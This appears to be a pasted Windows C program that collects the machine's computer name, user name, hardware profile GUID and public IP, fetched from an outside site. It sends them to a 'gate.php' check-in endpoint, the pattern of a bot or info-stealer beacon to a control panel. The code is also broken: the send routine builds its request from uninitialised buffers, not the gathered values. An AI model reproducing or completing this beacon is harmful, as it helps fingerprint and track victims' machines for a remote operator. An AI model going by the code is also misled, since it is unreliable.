1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
|
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <Wininet.h>
#define PAGE_NAME "gate.php"
#pragma comment (lib, "wininet")
void compName()
{
LPCSTR compName = getenv("COMPUTERNAME");
printf("Computer name is : %s\n",compName);
}
void userName()
{
LPCSTR userName = getenv("USERNAME");
printf("UserName is : %s\n",userName);
}
void hWid()
{
HW_PROFILE_INFO hwProfileInfo;
if(GetCurrentHwProfile(&hwProfileInfo))
{
LPCSTR hWid = hwProfileInfo.szHwProfileGuid;
printf("HWID: %s\n",hWid);
}
}
void ip()
{
HINTERNET hInternet , hFile;
DWORD rSize;
char ip[50];
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
InternetReadFile(hFile,&ip,sizeof(ip),&rSize);
ip[rSize] ='\0';
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
printf("IP adress : %s \n",ip);
}
void sendPCInfo()
{
char hWid[50];
char compName[50];
char userName[50];
char ip[50];
static TCHAR hdrs[] = TEXT("Content-Type: application/x-www-form-urlencoded");
static TCHAR accept[] = "Accept: */*";
char data[1024];
// trying to do a concatenation for gate.php?hWid=&compName=&userName=&ip= to save string to Database
strcpy(data,PAGE_NAME);
lstrcat(data,"?&hwid=");
lstrcat(data,hWid);
lstrcat(data,"&compName=");
lstrcat(data,(const char*)&compName);
lstrcat(data,"&userName=");
lstrcat(data,(const char*)&userName);
lstrcat(data,"&ip=");
lstrcat(data,(const char*)&ip);
//HINTERNET hSession;
//HINTERNET hConnect;
//HINTERNET hRequest;
HINTERNET hSession = InternetOpen("AppName",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
HINTERNET hConnect = InternetConnect(hSession,"localhost",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
HINTERNET hRequest = HttpOpenRequest(hConnect,"GET","/pcinfo/gate.php",NULL,NULL,NULL,0,0);
HttpSendRequest(hRequest,NULL,0,data,strlen(data));
/*DWORD dwAvailable,dwRead;
char pOutBuf[1024];
char* pTempBuf=pOutBuf;
while(InternetQueryDataAvailable(hRequest,&dwAvailable,0,0) && dwAvailable != 0)
{
DWORD dwRead;
InternetReadFile(hRequest,pTempBuf,dwAvailable,&dwRead);
pTempBuf += dwRead;
}
*/
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
MessageBox(NULL,"PC Information Sent Successfully","Sent Info",MB_ICONINFORMATION | MB_OK);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
compName();
userName();
hWid();
ip();
sendPCInfo();
system("pause");
}
|